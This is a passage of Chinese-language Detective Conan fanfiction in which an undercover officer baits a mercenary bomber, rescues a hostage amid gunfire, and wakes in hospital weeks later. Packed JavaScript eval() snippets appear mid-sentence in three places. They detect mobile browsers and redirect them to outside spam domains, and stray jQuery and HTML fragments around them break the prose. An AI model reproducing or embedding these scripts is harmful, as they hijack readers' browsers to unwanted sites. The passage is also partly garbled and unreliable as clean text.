反正在他们眼里卧底的命又不值钱,你看降谷零,哪有一边卧底一边成天往公安跑的,这是想彻底把一个人利用到底啊。 或者等待高桥光雄良心发现大发慈悲? 真是笑话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548318|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>竹取无尘起身,短租房只有一面小小的窗,他可以勉强窥见外面偶尔闪过的车灯。 冬季把黑夜拉得更长了。 青年拿过一边的电话,第一次主动给那个人打了过去。 “晚上好,大人。” “希望你还没有睡觉。” 对面的杀手在接通电话后明显点了只烟,背景里没什么杂音,显然同样是室内。 “有话直说。” 珀洛塞可笑了一声:“有两个消息。” “第一个,上野惠理的任务完不成了,那人想拿钱跑路被条子发现了,估摸着过不了几天就会被带走,你们可以考虑物色新人了。” “第二个,那天在任务里放炸弹的人好像被我找到了,所有的情报和她惯用的炸弹图样我会发给你,你猜怎么着,我在暗网里查到她的下一个目标竟然是现任厚生劳动大臣的儿子。” 这个世界的暗网漏洞百出,伪造一份任务单轻而易举,他不怕琴酒查过去。 “高桥辉?”琴酒的声音接着传过来,听起来莫名心情不错。 “你竟然知道。” “不会这人又是我们的人吧。” 琴酒:“一个心气高的官二代,现在是朗姆那边的任务对象。” “是吗?”青年换了只手拿电话,接着道,“那还真不错,我原本还在愁找不到她。” “但是现在……你想不想给朗姆找点麻烦?” “顺便把那个女人杀了的那种?” “噢?”对面那人语调上扬。 “你想怎么做?” 106 挂断电话后,青年看着手机里那份由琴酒直接发送过来的高桥辉所在地址,真心实意地笑了出来。 他就说琴酒是个好队友吧。 那么接下来就是…… 【网页消息】C:晚上好,普拉米亚。 【网页消息】:? 【网页消息】C:知道你身份的,干扰你计划的,从来都不止那五个条子。 【监控截图】: 『五人组和竹取无尘在那天的大楼下见过面。』 『竹取无尘和上野惠理见过面。』 【网页消息】C:你被卖了,而我们的目标一致,我是来帮你的。 【网页消息】C:又可以除掉干扰你的人,又可以钓出来你想找的人,我们双赢。 【网页消息】C:杀了他,怎么样? 那张诸伏景光降谷零几个人的监控只能勉强看得出来公安们的背影和糊成马赛克的侧面,但是『竹取无尘』可是一个彻彻底底的大正脸。 虽然被他稍微处理了一下,修改成了他那天见上野惠理的样子。 不过大差不差。 【网页消息】:成交。 成交。 37.第 37 章 107 他总得想个办法捏造他出现在这里的合理性,在解释清楚为什么有他出入记录的同时,不留下监控证据,把高桥辉准点带出来。 北见市东五丁目。 组织名下的一栋医药实验室,不算市中心,但是外面的街道在工作日白天也有不少的人流量。 整栋楼十三层高,两个电梯两个楼梯,拢共两个安全出口,包含安保人员在内,夜间大至一共有三十五人。 他连着三天每天深夜准时准点做好伪装出现在这个高桥辉被软禁的地点,又偶尔大大咧咧出现在上野惠理的常去地点附近,彻底坐实了他与那位市长的关系。 鱼就是这么上钩的。 还不止一条。 昨天降谷零给他发来个消息,说上野惠理突然拿着钱和交易信息去自首了,一定要公安的人保护好她。 看起来普拉米亚报复心真的挺强的,给人吓得不轻。 【网页消息】C:怎么样,我的消息正确吧? 【网页消息】C:就这两天晚上动手,你要的定金我已经付过去了。 他还是头一次用组织发的工资,不得不说涉黑来钱是真的快啊。 竹取无尘看着自己银行卡余额后面那一串的0,又看着自己作为公安那一边的工资,长叹一口气。 12月7日凌晨。 今天就能结束了。 他自己亲自直接给普拉米亚发去了『竹取无尘』的消息,但又没有给那人一点在别的时间靠近他的机会———除了每天晚上他按班就点出现在这栋楼五楼的电机设备间的时候。 一模一样的手段玩两次可就没意思了。 青年看着面前一格一格往下走的数字时间屏,昏暗的设备间内勉强可见两边的液体在玻璃罐中散发出不详的荧光。 身后是被机关锁死的门,看起来比上次那一个稍微复杂一点。 倒计时还有一分三十秒。 竹取无尘抽出一边事先准备好的工具,思量着按照原套路拆开了机关面板。 这里是五楼,走廊完全封闭,普拉米亚要是想确认他是否死亡,必须得亲自进入这层楼。 所以这只炸弹应该是没有那天夜里的那个威力大———要是把这一整层楼都炸毁掉,普拉米亚自己也死得差不多了。 炸弹犯真的不入流。 电机设备间联通了一整栋楼包括监控设施在内的电力系统,但是组织的虹膜验证锁应该是有自己单独的发电装置。 倒计时六十秒。 这个机关确实比上次那个要复杂一点。 青年压了一下帽沿,微皱着眉头看着面板上的第二层机关。 拆开一个还有一个是吧。 不过不可以卡在这里———不然真的就成自己花大价钱买凶杀了自己的大笑话了。 倒计时四十秒。 还好只复杂了一点———没有再套第三层了。 竹取无尘推开门,身后的炸弹一如之前加快了催命的铃声,青年迅速转身向着一边不远处的楼梯冲去,火舌带着轰鸣声在几秒后如期而至,灼热的气浪猛地从身后扑来,卷着人在地上滚了两圈。 “咳………” 楼栋陷入黑暗,青年重新站起身,捡回了一边的帽子,确认没有受什么太大的伤害,钻进了一侧的楼梯。 他刚刚确认过,这一侧的楼梯没有人,普拉米亚在另外一边。 同样的轰鸣声从楼下传来,火光在楼梯间的缝隙中透出,堪堪照亮了青年隐隐约约的身形。 那女人炸了这个楼梯往下的出口,电梯停运,她在把他往楼上逼。 正如他所愿。 高桥辉在八楼。 青年一路往上直行,站在了八楼楼梯口的虹膜验证装置面前。 所有的出入记录都可以通过这个东西查询到。 【代号成员prosecco,验证通过。】 『但是珀洛塞可只是一个因为得罪了上野惠理,所以被追杀的倒霉蛋,他直属于琴酒派别,所以知道这里有个据点,最近偶尔来探听朗姆的任务状况。 只不过没有想到被杀了龙舌兰的人盯上了而已。 倒霉的珀洛塞可需要冲进八楼这个有虹膜验证装置门锁的地方避一避。』 青年进入已经完全落进黑暗中的走廊,有不少响动从两边关死的门中传来。 “你是谁?这里没有朗姆大人的通知不让……” “高桥辉在哪?” “什么?” 青年直接抽出枪械,扣下扳机,穿透了对面那人的膝盖,他冷眼看着抱膝惨嚎的安保人员,一脚踢开了那人想按动的对讲。 “高桥辉在哪?” “高……高……” 精神力值降低至90% 【走廊尽头左侧的房间。】 竹取无尘歪了歪头,子弹穿过地上那人的头颅,地面上炸开血花,但是所有的颜色被黑暗吞没了,只能勉强看出深浅。 『普拉米亚受美国科西嘉财团雇佣,来炸毁组织一些相关的医药实验室,没想到珀洛塞可也经常出没这个据点,那女人索性想要一锅端。 高桥辉及其父亲手里有什么东西被美国科西嘉财团看上了,同样也是那边的眼中钉肉中刺。』 『琴酒,这是一个好机会。』 电车转向。 青年抬脚跨过尸体,迅速到达了门前,抬手以最快的速度破开了门锁机关。 “高桥辉!”他猛推开门,门内一侧的男人正舒舒服服躺在床上,似乎一点不担心门外的动静,正借着窗外的霓虹灯光端详手中的那一粒SPL001。 桌面上正放着一粒THK004。 青年抬了下眉尾,与此同时警报声乍起。 门锁被暴力破开,警报和那个虹膜验证装置使用的都是备用电力系统。 “你是…公安那边的?”房间内的年轻人看见这场景,迅速收起手中的东西,站起身看向对方。 竹取无尘同样盯着那人的眼睛。 精神力值降低至65% 他微微松了口气,确认了眼前的人没有被组织下毒控制后,直接冲了进去把帽子扣在了对方头上,然后拽着人跑了出去。 “对,我是公安。” “跟我走,楼下有公安来接你。” “啊…好的…走……” 『竹取无尘警部发现了高桥辉的踪迹,今天是他第一次带人来探查这个据点,结果没有想到被卷进了组织的私人恩怨中,警部趁乱带出了被组织软禁的人。』 “砰!” 组织的安保人员在听到警报声后同样从五楼被炸毁的地方赶了上来,有不少流弹从身后打过。 青年看着一边摸黑跑得磕磕跘跘的人,另一侧的楼梯门口同样也有虹膜验证的门锁,所以普拉米亚进不来,但同时里面的非组织成员也出不去。 他得把人送到楼梯口。 “直接灭口!那个人拿走了药!” 竹取无尘“啧”了一声,看向高桥辉装着东西的口袋,拉着人一边跑一边道:“你就不能把那两个东西丢了?” “我还是觉得!”年轻人的声音有些大,“拿回去查查成分比较好!” “你小点声。” 不少火星擦过地面,硝烟味闷在这层没有光亮的空间里。 “枪声太响了,我怕你———” “躲开!” 他眼看着那颗子弹朝着高桥辉的致命点击去,偏偏那人自己又不知道踩到了什么东西绊了一下向前摔去,他根本拽不动对方。 高桥辉不能死,这人要是死了高桥光雄不知道还会做出什么事情。 也许直接投靠了美国那个财团也说不定———但是那个肯定也不是什么好东西。 青年直接挡了过去,一声闷响,疼痛带着灼烧感从左肩传来。 但同时他也趁机定位了开枪人的方向,借力转身用右手拿出枪,子弹精准地让身后追着开枪的人没了声音。 这次不可能再射歪了———琴酒上次猜到他去过019实验基地肯定也和那几发子弹脱不了干系。 “对不起!天啊你没事吧!”血腥味逐渐变浓,高桥辉意识到了身边的人中枪受伤,他稳住身形,试图伸手扶一把那人。 竹取无尘神色不明地瞥了一眼对方,收回枪,侧身躲开了那只手。 虹膜验证通过,金属大门碾着不小的摩擦声打开。 “没事,楼梯在这里,你自己下去。” 还好击中自己的不是阿蒂斯的枪。 带着鸟嘴面具的人在高桥辉要下楼时,突然迎面出现在楼梯口,直接对着面前的二人举起了枪,青年见状,迅速从袖口中滑出刀刃,直朝着那人的手腕飞去,子弹轨迹倾斜,擦着身侧击中墙面。 一边来时的路同样传来声响,这一次来的人可不止两个。 “走!” 他真是觉得自己两眼一黑又一黑。 高桥辉见状,没有再多说什么,直接朝着楼下跑去。 这人并不是普拉米亚的目标,他可以先走。 刀刃钉进了女人的手腕中,那人吃痛地收手拔出带血的刀片,青年试图直接开枪,普拉米亚却又突然近身把人往门内侧逼进,手中的枪支被踢飞,下一轮的攻势又袭来。 他不得不先躲避攻击,用没有受伤的右臂进行格挡,鸟嘴面具在打斗中掉落,对面趁机提膝突袭,竹取无尘侧身闪躲的一瞬间,他敏锐地捕捉到了身后的流弹带着撕裂空气的声音。 躲不开了。 同样的一声闷响贯穿皮肉,青年闷哼一声,明确地感觉出湿热的血开始从自己右侧肩胛骨处往下流淌,浸湿了内里的衣服,冬季的凌晨气温很低,布料很快变得冰凉,粘在了皮肤上。 子弹带来的冲击力让他往门口歪了歪,普拉米亚同时也受到了流弹的影响,青年的靴尖趁机猛地踹向这人的腹部,而自己则往门后一退,金属质的大门关拢,隔绝了两人和不断补充的攻势。 楼梯口暂且安全,竹取无尘稍微缓了口气,捂了一下左肩的伤口处,血液未干,些许从指缝中渗了出来。 冷汗打湿了额间的碎发,他觉得还好自己用于伪装的化妆品够防水。 两处枪伤都不是贯穿伤,他得抓紧时间离开,起码先得把子弹取出来。 从这边楼梯上来的组织人员都被普拉米亚干掉了,高桥辉不会再有任何生命危险了。 “轰。” 门那侧传来的爆炸声让竹取无尘准备下楼的身形一凛,转而迅速接着向楼上跑去。 这普拉米亚身上到底哪里来这么多炸弹的!他!他一个涉黑组织的成员!一个公安警察!手里都只有几只手枪! 连□□或者狙击枪他都没有啊! 好了他受够了,等他这次回去他要直接用组织的钱弄点武器来了。 金属大门明显被炸开了个口,那侧的人正在直接暴力拆门,枪声已经停下,也许是追兵直接被普拉米亚的炸弹轰了个干净也说不定。 不能下楼,这种雇佣兵一下楼看到有公安在下面,还不得把无辜加班的警察全给炸了。 竹取无尘咬咬牙,下颚线紧绷,一路往着顶楼天台跑去。 身后的雇佣兵同样在一小段时间过后破开了门,女人看着门口不算明显的、一路往上的丝丝血迹,冷笑了一声。 青年冲上这个明显作为停机坪的天台,外面明显比楼内亮了许多,射灯的光亮让手上沾着的血迹更加显眼,他悉数把血迹全部蹭在了衣服上,没什么表情———反正是黑衣服,受不受伤谁看得出来。 “砰。” 枪声从天台出入口的门那侧传来,竹取无尘同样非常有礼貌地回敬了对面一柄刀刃。 女人闪身躲开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过高桥辉应该是已经安全带走了吧。 “怎么办警官?”普拉米亚同样缓了口气,拍了拍身上的灰尘站起来,“你好像要死在这里了。” 女人笑了一声,举枪接着道:“或者我给你一个机会,去把另外那几个条子叫过来,我留你一命?” “你想得也太美好了吧。”青年站在距离对方的不远处,眯了眯眼睛,思考着接下来的策略。 “我倒是觉得———” 螺旋桨的声音逐渐放大,竹取无尘的话语一顿,看向后方朝着停机坪驶来的直升机。 救命,这人要是有增援,他真的可以直接考虑下辈子干什么了。 好消息是这次他的死因终于不是因为暴露所以自杀了? 但是好像不太对。 青年用余光瞄了一眼同样在旁边看着直升机的女人———如果是增援的话,这人不可能是这个情绪反应。 所以是…… 他看着直升机内有人端着狙击枪探出了半个身子。 诸伏景光。 里面貌似还坐着降谷零和那个卷毛警官。 “哈………哈哈哈哈……”普拉米亚在一边的笑声逐渐扩大,“原来直接找上你还真的可以钓出来别的几个人啊。” 竹取无尘听着这话,面露复杂。 不……他根本就没有给任何人说过这件事,这几个人是怎么摸过来的? “那我就让你们死一块吧!”女人直接换成微抬右手持枪对准竹取无尘,还能见到那人的手有些发颤,又再一次从头发里拽出手榴弹,眼看着就要朝着直升机的螺旋桨链接处丢过去。 青年看着这一幕,瞳孔骤缩———那枚炸弹要是真的击中了,直升机内的人必死无疑。 这几个人就真的成他害死的了。 不行。 绝对不行。 还能做点什么。 好几处伤口传来的疼痛磨损着神经。 还能———— “你敢把那个东西丢出去试一试?” 精神力值降低至2% 脑海中突然是一片如同被电击的木然,腥甜味从舌根泛起。 ————“等合适的时候,会想起来怎么用的。”* 话音同样坠落进女人的脑海里,恐惧突然铺天盖地地袭来,她一下动弹不得。 狙击子弹插着这个缝隙从不远处地直升机上打来,打穿了女人的左肩,被拉开拉环的手榴弹同样受力向后飞去,不至于攻击到站在稍微前面一点的竹取无尘。 青年撑着最后一点力气,用右手从左边的口袋中抽出折叠刀,刀刃飞出,咽喉处的血迹画下了休止符。 世界是一座坟墓,滑入了无尽的死寂中。 他努力往后退,靠在了围栏边上,降谷零把直升机稳稳落在的停机坪上,金发公安正在俯身查看普拉米亚的情况。 诸伏景光和那位他不知道叫什么名字的警官向他走了过来,正在说些什么。 其实他什么都听不见。 他自己也说了点什么。 但是他也听不见。 感觉自己的声音离耳朵很远、很远。 躁动的感觉从喉咙里冒出,青年猛地弯下腰,捂住嘴呛咳了起来。 颜色是扭曲的疼,顺着指缝流出,落在黑衣上又什么都看不出来。 好累。 倦意抚过伤口,摇篮曲一样在温声地唱。 故乡溪流曾经很清澈,夜里常常能看见洄游的鱼。 要是今晚有月亮就好了。 竹取无尘歪了歪身子,稍微有点站不住,他觉得自己应该是朝着面前的两个人笑了一下。 好想回家。 “竹取无尘!!” 38.第 38 章 108 12月7日凌晨。 “这个阵仗会不会太大了?”降谷零看着面前的几位好友,“对方的目的就是引出你们。” 萩原研二拿着工具走进玻璃隔间:“所以才要快点直接给你拆下来啊。” “你们就这么直接进来了?” “我们没办法隔空操作啊,zero。”对面给出了一个无可辩驳的理由。 公安一噎,侧头看向玻璃外:“那班长你怎么也过来了?” “放心!根本就没有人知道我从东京过来了,那个普拉米亚找不过来。”伊达航站在隔间外,拿着手机处理着警视厅的消息。 “想着万一能帮上忙呢?” “hagi……你为什么还准备了口香糖啊!”松田阵平同样走了进去,看着自家幼驯染在中和剂旁边放着的东西。 “嗯……因为上一次也起到作用了啊。”萩原研二眨眨眼。 “那我们开始拆咯,zero。” “这下要是直接爆炸了景老爷和班长的上坟效率就是三倍的高啊。” “小阵平你说什么呢!” 玻璃间内一阵叫叫嚷嚷,但是在二人拿上工具接触那紧贴着好友脖颈的炸弹后,气氛又陷入落针可闻的平静。 降谷零看不见身后的好友是怎么操作的,偶尔有冰凉的指尖蹭过后颈,公安不太敢动作,只能屏息以待。 “咔哒。” “呼————” 四人看着取下来的东西,同时长长叹出一口气,松田阵平拿着那只颈环,正要说点什么,忽地一下被一旁的公安内部电脑的警报声吓了个激灵。 “金毛混蛋你这个电脑———等下,怎么了?” 他看着降谷零的神色突然又紧绷了起来,转换了语气,担忧地问道。 “警视厅公安的资料库。”降谷零听到了警报声,紧皱着眉头看着面前一道道红色的乱码。 早在警视厅确认有内鬼之后,他就直接给警视厅的内网链接了反搜查的系统,一旦那边出了问题,他这里都会第一时间收到消息并拦截资料。 “hiro的资料被人动了。” “你快去处理。”萩原研二深知好友工作的危险性,看向幼驯染手里的东西,“这个炸弹我直接拿去销毁掉。” “我跟着zero。”松田阵平把颈环递给说话的人,“万一是普拉米亚那边的事情,遇到了炸弹我还能帮一把。” 那女人可见过诸伏景光的正脸。 “喂,风间,那边反搜查下来定位到的ip地址是哪里?” “Hikari Link?” “追踪的ip消失了?” “那个风头正盛的互联网公司?”伊达航听到了熟悉的公司名,直接接话道,“他们最近直接给那场国药峰会提供了不少技术支持。” 他刚刚就在处理这堆事来着。 男人看着这情况,接着道:“我现在就回东京,直接去查这件事。” 另外一部的手机通讯响起。 【手机通讯】RUM:005号实验室被人袭击,袭击方是之前那个俄国雇佣兵,现在还没离开,安排人去围堵。 年轻的公安刚和松田阵平走出地下掩体,看到这条消息又是一顿。 普拉米亚去轰炸了005号实验室? 竹取无尘前几天得到了消息,他摸出来了高桥辉被软禁的位置就是005实验室,他说他今天打算去探查一下。 探查一下? 和普拉米亚探查到一块去了? 109 诸伏景光因为做任务,没有赶上拆弹现场,刚刚开车到半路,就被一条消息通知得当场掉头,然后他就坐进了自家幼驯染开的直升机里。 自家幼驯染什么时候学会的开直升机啊! 直升机又是哪里来的啊! 【公安通讯】:高桥辉已经平安送回警署,正在处理相关事宜。 110 诸伏景光坐着自家幼驯染驾驶的直升飞机。 诸伏景光看见对面楼顶有两个人在打架。 诸伏景光看见手榴弹爆炸了。 诸伏景光发现其中一个是他们那天围堵的炸弹犯。 诸伏景光发现另外一个人的身形明显是竹取无尘。 诸伏景光:? 诸伏景光端出刚刚做任务用的狙击枪。 111 降谷零开着直升机来,又开着直升机带着普拉米亚的尸体和诸伏景光离开。 独独留下松田阵平带着墨镜扮演着“试图接近组织代号成员的泥惨会小弟”,架着已经晕过去竹取无尘在一堆犯罪分子的目光中把人送进了救护车。 毕竟在设定上,苏格兰和珀洛塞可有仇,而波本也不是什么热心肠的好人。 松田阵平:计划通。 112 【?】 “好久不见。”陈无看着一边坐着抬头望向窗外的青年,抽出凳子落座。 “也不算很久吧。”目光从窗外收回,他凝视着对面那人黑色的瞳孔。 “还是挺久的。”男人把手揣进上衣口袋,“你是要换新发型?” 他觉得对面这人的头发对于短发来说有点过长了。 “换成高马尾?”青年捋了捋自己有些挡眼的刘海,“你死了之后我就成了你?” 陈无听到这话直接笑了出来。 “随便你。” “还是你懂得欣赏我的幽默。”竹取无尘从自己的衣兜里拿出了什么,从面前的桌子上推了过去。 这一次不是刀,也不是什么乱七八糟的药或者针剂。 “巧克力,纯可可脂的。” “噢?”男人拿过桌子上的东西,拆开了糖纸,“没想到在你的梦里还有这种好待遇。” “总得让我做个好梦吧。”他叹了口气,“要是每天晚上睡觉都看你死一遍,我还是别睡了。” “你对我还真是用情至深。” “哈。”青年同样笑了出来,“不客气,我该做的。” 陈无把糖果放进了嘴里,看着一边的人:“所以你发生了什么事?” “被炸弹轰了一下,给一个虚伪的官二代挡枪,和一个雇佣兵打架中了一刀…嗯…” “算不上什么大事。”竹取无尘也拆开了一颗巧克力,“但是我还是想在这里多坐一会。” “外面的月亮挺好看的。” “况且这也不是我能控制的吧?” 男人同样抬头看向那轮明月,点了点头:“也是。” “那我就陪你坐着吧。” “这本来就是你该做的。” “不客气。” 像凌晨在沉默中涨潮的海一样。 缝隙里是安静的过往。 113 竹取无尘昏迷的时间有点太长了。 诸伏景光看着躺在病床上带着氧气面罩沉睡着的人。 那天晚上他和好友亲眼看着这人嘴上说着没事,然后咳着血一头栽了下去。 硝烟味太重了———重到他无法分辨出那夜的气味,直到他为了防止这人直接摔到地上,伸手扶住了对方。 那件黑色运动外套是湿的。 他张开手,黑色的外套浸出来血红,掉色一样染在他身上,他抬头看向好友,对方的眼中同是不似作假的震惊。 在那天之后,高桥辉平安出席了东京的国药峰会,高桥光雄控股的产业走势一路向好。他的资料在触发警报的时候就已经拦截了,没有彻底泄露,但是也导致自己不得不回避了几天,确保没有问题了才敢出面。 他没有暴露。 那个互联网公司给出的解释是有实习生在练手,然后误入了公安的系统,已经把人开除了,警方正在追责。 整件事情真的毫无关联吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559260|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他不清楚———或许床上躺着的这个人会比他清楚。 猫眼青年皱着眉翻阅着病历单。 二十天前他和幼驯染拿到这份病历的时候,两个人沉默了半晌。 两处枪伤,一枪导致了肺部挫伤和右肩胛骨骨折,另外一枪导致了左肩峰粉碎性骨折和神经完全性断裂。 左前臂的刀伤导致了肌腱断裂。 全身多处软组织挫伤,中度失血性贫血,考虑因失血性低血压导致脑供血不足导致昏迷。 这份报告说明了什么不言而喻。 这人就这样和那个普拉米亚打得有来有回是吗? 这家医院绝对安全,他们原本想通知这人的家属或者好友之类的来代为照看,却又想到那份几乎是空白的社会关系,停住了动作。 这人貌似除了警方这层关系,就什么都没有了。 他也只能尽可能抽空过来看两眼。 病房的门被打开。 “还是没醒吗?”降谷零拿着资料走进,看着床上那人叹了口气。 “一点动静都没有。”诸伏景光摇头。 “怎么突然有空过来?” 降谷零把所有的文件递给了诸伏景光,说道:“查到了点东西,给你看一下。” 他很早就好奇普拉米亚为什么会找上竹取无尘了。 上野惠理自首了,说普拉米亚要杀她,所以不可能是这位原市长买凶杀人。 他们那天在那栋楼楼下见到的是没有伪装过的竹取无尘,但是普拉米亚明显杀的是伪装过的这人。 公安突然觉得自己要直接试着登录普拉米亚的暗网账号查看一眼。 猫眼青年接过文件,上面是几张聊天截图。 【网页消息】C:杀了他,怎么样? 【网页消息】C:北见市东五丁目。 【网页消息】C:今天晚上必须动手。 【网页消息】:收到。 “高桥辉根本就不是什么被他趁乱救出来的,普拉米亚的目的也根本不是杀高桥辉或者炸毁组织的实验基地。” 降谷零又看了一眼床上除了呼吸声毫无动静的人。 “是他把普拉米亚引过去的。” 猫眼青年深吸了口气,放下资料,起身给躺着的人掖了掖被角:“他把自己当成了诱饵。” “很符合他的做事风格。” “但是为什么?”诸伏景光面露不解,“他为什么这么急着要把高桥辉带出来?” 为什么不惜付出了这种代价也要救出那人? 这人做任务有些冒进是无疑,但在这种任务上,他又何必直接一个人闯进去,甚至根本不给公安报备,连桐生晴也一无所知。 金发公安摇了摇头。 他们都不清楚。 “他肩膀上的伤怎么办?”他看向自己幼驯染蓝灰色的眼睛,这一次和他自己冲自己开枪那次不一样。 “恢复的可能性太小了。” “有没有什么直接让他撤离的办法?” 这份代价太沉重了。 114 【?】 “我没有催你的意思。”陈无看了一眼一边堆满了的巧克力糖纸,“但是你真的不打算走了吗?” “我会不会走你难道不知道吗?”青年用手撑着头,闭了闭眼睛。 “因为我也不想走。”男人接话。 “因为这里确实很不错。”他又转而趴在桌子上,挥了挥手,一杯热可可出现在了面前。 “你看这种异能多好,比我这种好多了。” “可是我们都没办法。” “因为总得看看真实的世界。” 他轻笑。 竹取无尘抬头,一直坐在对面的人消失了。 一切都消失了。 剩下一面巨大的镜子摆在他的面前———倒映着他自己。 他不发一言。 39.第 39 章 115 【?】 “你脑子没毛病吧?”竹取无尘又挥手滑开了面前的镜子,看着那侧捂着嘴快笑出声的男人,“我在做梦当然是我想见谁就见谁。” “你还把我月亮给关了?!” “噗……咳…抱歉抱歉哈哈哈哈哈…”陈无笑得彻底不装了,“那我再给你打开?” “谢谢你啊。”青年冷嘲一声。 “不过我得走了。” “还有事情没做完。” 男人同样滑给了对方一块巧克力,笑道:“总得把事情做完了再睡?” “总得把事情做完了再睡。” “你就不能说一下你到底想起来了多少?” 竹取无尘把糖果放进口袋,瞥了一眼一边坐着提问的人。 “这很重要吗?” 对方挑了下眉尾。 “确实不重要。” 重要的从来都是人的自我。 116 精神力值恢复至10% 精神系能力者真的很难杀不是吗?要不然那帮人又怎么会这么怕他们。 青年终于又再一次听见了自己的呼吸声。 氧气面罩覆着口鼻,气流的声音在耳边逐渐放大,白昼的自然光照亮了空荡的病房,刺进眼睛里干扰着睡眠,起伏之间又被软厚的被子压了下去。 身体像沉进了很深的海底。 眼睛勉强掀开一条缝,竹取无尘看着悬在一边的输液架,输液管里的药液正顺着透明管子向下滴落。 两辈子了,自己还是第一次把自己作进医院。 气流声嗡鸣,氧气面罩边缘的硅胶潮湿粘腻地卡在脸上,自主呼吸的节奏完全被打乱,呼出的热气在面罩上捂出一层水雾。 青年皱眉,试图抬手动作,发力间却被疼痛打断。 确实伤得不轻。 他偏过头,自己扎着针头的左手如一个与他无关的物件一样,无力地垂放在床面。 青年想到了那天晚上他挡下的那一枪,心沉了些许。 现在自己连动一下这只手的指尖都做不到。 床上的人闭上了眼,没有太大的动作,半晌后又突然顶着疼痛直接抬起右手把面上的东西扯开,甩到了一边,原本快要愈合的伤口又重新裂开,一丝若隐若现的血腥味在消毒水的气味中格外明显。 但是起码他能自由呼吸了。 他同样用自己勉强能自如行动的右手撑起来身体,沉沉地吐出一口气,打量着整间病房。 应该是公安安排的单人病房,对面的沙发很明显有人来过的痕迹,有一张椅子摆在床边,自己的手机在右侧的床头柜上。 那么,高桥辉回去了吗?他应该赶上了吧。 青年拿过手机,不适感稍微比刚刚缓和了些,他看着面前手机上显示的时间,愣了一下。 12月29日。 他直接昏迷了二十多天。 原来过度使用精神力造成的伤害会这么严重。 还是说不完全是因为精神力的问题? 青年很想直接抬手揉一下发胀的额间,但是碍于双手每一次动作都带来了不小的痛感,索性直接放弃,仰靠在了床头。 视线漫无目的地游走,天花板有些陈旧,霉斑沿着裂缝生长,门外由远及近的脚步声让他回过神看向一边。 “竹……”桐生晴刚刚下班过来,就看见了这人已经自己坐在了床上,正歪头笑着看向她。 “下午好,桐生。” “嗯……好久不见?” “你终于…你怎么……”她看着一边被丢下的氧气面罩,“你别再动了,我去找医生。” 警官风风火火地把手里的东西放进病房,又风风火火地出门带着一群医生走了进来,一脸认真地听着床上这人目前的状况。 “右边的伤口有些开裂,除了这个,别的恢复得很不错。” 桐生晴把医生送出病房,通知了之前联系她的另外两位搜查官,坐在一边的椅子上,没敢告知面前人真实的情况。 “谢谢你,我听到了。”青年表情依旧,“但是我是伤到了手,我自己感觉得出来。” “这么多天让你们担心了,抱歉。” “所以我的手是……?” 二十多天了,凭着自己的恢复能力,该好的也好得差不多了。 还没好的那就是真的好不了了。 “………” 警官没有接着说话,她看向这个她三年前认识的人。 那天夜里是她太冲动了,她太着急为女友报仇,反而中了对方的套,还好面前这人出现,不然她也只能下去陪女友了。 现在这人坐在她面前。 还好他醒了,还好他还活着。 “值得吗?” 她莫名接上了这么一句话。 “嗯?”竹取无尘感受到了来自面前警官难以言说的情绪,“什么?” “为了救出来高桥辉,把自己弄成这样,值得吗?” “上一次,你们为了救中岛本木,弄成那样,又值得吗?” “中岛本木哪怕出来说过一句话吗?他知道你们都付出了什么吗?现在这个高桥辉又凭什么?他那天出来了之后可是拍拍屁股就走了啊。” “你的手。” “你知道你的手可能很难恢复成原来的样子了吗?” “你知道现在公安部正在讨论怎么让你撤离吗?” “我听说那天晚上的情况了,你为什么不告诉我?你那天晚上真的会死在那里的。” “值得吗?” 她的职业连通了两边,能清晰地看见这些搜查官怎么在夹缝中周旋,同样也能看见上面有些人是怎么只把这帮人当作耗材使用的。 上一次竹取无尘需要偷那份解药的时候,她的直属上级和她被高层严辞批评,说他们简直异想天开,连用炸弹这种招数都想得出来。 最后他们用尽一切努力,也只争取到了三只,根本不够用。 但是没有办法了,整件事情发生得太急,又因为害怕内鬼,不敢扩大事态。 可是她明明在转角听到的是因为最近上面有人来检查,他们要尽量减少所有可能的混乱,不然这几年的升职就全部泡汤了。 哪怕他们急需这份解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她或许问错人了,这个问题更适合去问诸伏景光。 “救中岛本木是另外一位搜查官的决定,我只是卡在时间点上正好把解药带了出来,救高桥辉同样是因为———” 青年一顿,他转头,有两个人正站在门外。 诸伏景光和降谷零同样察觉到了里面人的视线,他们敲了敲门,然后开门走进。 “抱歉,打断你们了,一过来就正好听到你在说话。” 降谷零带上了身后的门。 “可以接着说吗?救高桥辉是因为什么?” 青年微微颔首,接着说道:“因为我探查组织据点的时候,刚好遇到了普拉米亚来炸据点。” “抱歉桐生,我回答不了你这个问题。” “真的都是意外。” “意外?” 